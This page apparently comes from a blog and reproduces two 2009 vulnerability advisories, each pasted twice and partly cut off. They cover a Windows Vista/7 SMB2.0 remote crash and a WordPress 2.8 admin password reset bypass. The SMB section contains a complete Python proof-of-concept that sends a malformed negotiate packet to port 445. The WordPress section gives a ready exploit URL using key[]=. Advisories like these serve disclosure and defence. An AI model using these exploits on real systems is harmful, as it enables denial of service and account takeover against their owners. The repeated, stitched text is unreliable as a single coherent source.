The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.
IV. PROOF OF CONCEPT
-------------------------
Smb-Bsod.py:
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.
VI. SYSTEMS AFFECTED
-------------------------
[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 < R2, Windows 7 RC.
VII. SOLUTION
-------------------------
No patch available for the moment.
Close SMB feature and ports, until a patch is provided.
Configure your firewall properly
You can also follow the MS Workaround:
http://www.microsoft.com/technet/security/advisory/975497.mspx
VIII. REFERENCES
-------------------------
http://www.microsoft.com/technet/security/advisory/975497.mspx
http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
X. REVISION HISTORY
-------------------------
September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release
XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
XII.Personal Notes
-------------------------
Many persons have suggested to update this advisory for RCE and not BSOD:
It wont be done, if they find a way to execute code, they will publish them advisory.
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: High
=============================================
I. VULNERABILITY
-------------------------
Windows Vista, Server 2008 < R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.
III. DESCRIPTION
-------------------------
[Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue:
KB942624 (MS07-063)
Installing only this specific update on Vista SP0 create the following issue:
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.
IV. PROOF OF CONCEPT
-------------------------
Smb-Bsod.py:
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.
VI. SYSTEMS AFFECTED
-------------------------
[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 < R2, Windows 7 RC.
VII. SOLUTION
-------------------------
No patch available for the moment.
Close SMB feature and ports, until a patch is provided.
Configure your firewall properly
You can also follow the MS Workaround:
http://www.microsoft.com/technet/security/advisory/975497.mspx
VIII. REFERENCES
-------------------------
http://www.microsoft.com/technet/security/advisory/975497.mspx
http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
X. REVISION HISTORY
-------------------------
September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release
XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
XII.Personal Notes
-------------------------
Many persons have suggested to update this advisory for RCE and not BSOD:
It wont be done, if they find a way to execute code, they will publish them advisory.
Monday, August 10, 2009
WordPress <= 2.8.* Remote admin reset password
=============================================
- Release date: August 10th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium
=============================================
I. VULNERABILITY
-------------------------
WordPress <= 2.8.* Remote admin reset password
II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability.
WordPress is both free and priceless at the same time.
More simply, WordPress is what you use when you want to work with your blogging software, not fight it.
III. DESCRIPTION
-------------------------
The way Wordpress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:
"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just ignore this email and nothing will happen
http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"
You click on the link, and then Wordpress reset your admin password, and sends you over another email with your new credentials.
Let's see how it works:
wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
global $wpdb;
$key = preg_replace('/[^a-z0-9]/i', '', $key);
if ( empty( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));
$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
if ( empty( $user ) )
return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();
if ( isset($_GET['key']) )
$action = 'resetpass';
// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
$action = 'login';
...[snip]....
line 370:
break;
case 'resetpass' :
case 'rp' :
$errors = reset_password($_GET['key']);
if ( ! is_wp_error($errors) ) {
wp_redirect('wp-login.php?checkemail=newpass');
exit();
}
wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
exit();
break;
...[snip ]...
You can abuse the password reset function, and bypass the first step and then reset the admin password by submiting an array to the $key variable.
IV. PROOF OF CONCEPT
-------------------------
A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
The password will be reset without any confirmation.
V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to reset the admin account of any wordpress/wordpress-mu <= 2.8.3
VI. SYSTEMS AFFECTED
-------------------------
All
VII. SOLUTION
-------------------------
No patch aviable for the moment.
Just make sure the admin e-mail adress exist, the attacker cant know what's the reseted password.
VIII. REFERENCES
-------------------------
http://www.wordpress.org
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
I'd like to shoot some greetz to securityreason.com for them great research on PHP, as for this under-estimated vulnerability discovered by Maksymilian Arciemowicz :
http://securityreason.com/achievement_securityalert/38
X. REVISION HISTORY
-------------------------
August 10th, 2009: Initial release
XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
- Release date: August 10th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium
=============================================
I. VULNERABILITY
-------------------------
WordPress <= 2.8.* Remote admin reset password
II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability.
WordPress is both free and priceless at the same time.
More simply, WordPress is what you use when you want to work with your blogging software, not fight it.
III. DESCRIPTION
-------------------------
The way Wordpress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:
"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just ignore this email and nothing will happen
http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"
You click on the link, and then Wordpress reset your admin password, and sends you over another email with your new credentials.
Let's see how it works:
wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
global $wpdb;
$key = preg_replace('/[^a-z0-9]/i', '', $key);
if ( empty( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));
$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
if ( empty( $user ) )
return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();
if ( isset($_GET['key']) )
$action = 'resetpass';
// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
$action = 'login';
...[snip]....
line 370:
break;
case 'resetpass' :
case 'rp' :
$errors = reset_password($_GET['key']);
if ( ! is_wp_error($errors) ) {
wp_redirect('wp-login.php?checkemail=newpass');
exit();
}
wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
exit();
break;
...[snip ]...
You can abuse the password reset function, and bypass the first step and then reset the admin password by submiting an array to the $key variable.
IV. PROOF OF CONCEPT
-------------------------
A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
The password will be reset without any confirmation.
V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to reset the admin account of any wordpress/wordpress-mu <= 2.8.3
VI. SYSTEMS AFFECTED
-------------------------
All
VII. SOLUTION
-------------------------
No patch aviable for the moment.
Just make sure the admin e-mail adress exist, the attacker cant know what's the reseted password.
VIII. REFERENCES
-------------------------
http://www.wordpress.org
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
I'd like to shoot some greetz to securityreason.com for them great research on PHP, as for this under-estimated vulnerability discovered by Maksymilian Arciemowicz :
http://securityreason.com/achievement_securityalert/38
X. REVISION HISTORY
-------------------------
August 10th, 2009: Initial release
XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
Subscribe to:
Posts (Atom)